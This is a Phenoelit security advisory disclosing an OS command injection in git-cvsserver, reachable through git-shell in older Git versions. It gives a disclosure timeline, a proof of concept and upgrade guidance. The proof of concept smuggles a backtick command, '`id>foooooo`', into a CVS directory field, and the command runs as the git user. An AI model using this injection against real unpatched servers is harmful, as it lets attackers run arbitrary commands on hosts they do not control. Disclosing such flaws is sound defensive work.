Phenoelit Advisory <wir-haben-auch-mal-was-gefunden #0815 ++--->
[ Authors ]
joernchen <joernchen () phenoelit de>
Phenoelit Group (http://www.phenoelit.de)
[ Affected Products ]
Git before 2.14.2, 2.13.6, 2.12.5, 2.11.4 and 2.10.5 (git-cvsserver)
https://git-scm.com
[ Vendor communication ]
2017-09-08 Sent vulnerability details to the git-security list
2017-09-09 Acknowledgement of the issue, git maintainers ask if
a patch could be provided
2017-09-10 Patch is provided
2017-09-11 Further backtick operations are patched by the git
maintainers, corrections on the provided patch
2017-09-11 Revised patch is sent out
2017-09-11 Jeff King proposes to drop `git-cvsserver`'s default
invocation from `git-shell`
2017-09-22 Draft release for git 2.14.2 is created including the
fixes
2017-09-26 Release of this advisory, release of fixed git versions
[ Description ]
The `git` subcommand `cvsserver` is a Perl script which makes excessive
use of the backtick operator to invoke `git`. Unfortunately user input
is used within some of those invocations.
It should be noted, that `git-cvsserver` will be invoked by `git-shell`
by default without further configuration.
[ Example ]
Below a example of a OS Command Injection within `git-cvsserver`
triggered via `git-shell`:
=====8<=====
[git@host ~]$ cat .ssh/authorized_keys
command="git-shell -c \"$SSH_ORIGINAL_COMMAND\"" ssh-rsa AAAAB3NzaC ....
[joernchen@host ~]$ ssh git@localhost cvs server
Root /tmp
E /tmp/ does not seem to be a valid GIT repository
E
error 1 /tmp/ is not a valid repository
Directory .
`id>foooooo`
add
fatal: Not a git repository: '/tmp/'
Invalid module '`id>foooooo`' at /usr/lib/git-core/git-cvsserver line 3807, <STDIN> line 4.
[joernchen@host ~]$
[git@host ~]$ cat foooooo
uid=619(git) gid=618(git) groups=618(git)
[git@host ~]$
=====>8=====
[ Solution ]
Upgrade to one of the following git versions:
* 2.14.2
* 2.13.6
* 2.12.5
* 2.11.4
* 2.10.5
[ end of file ]
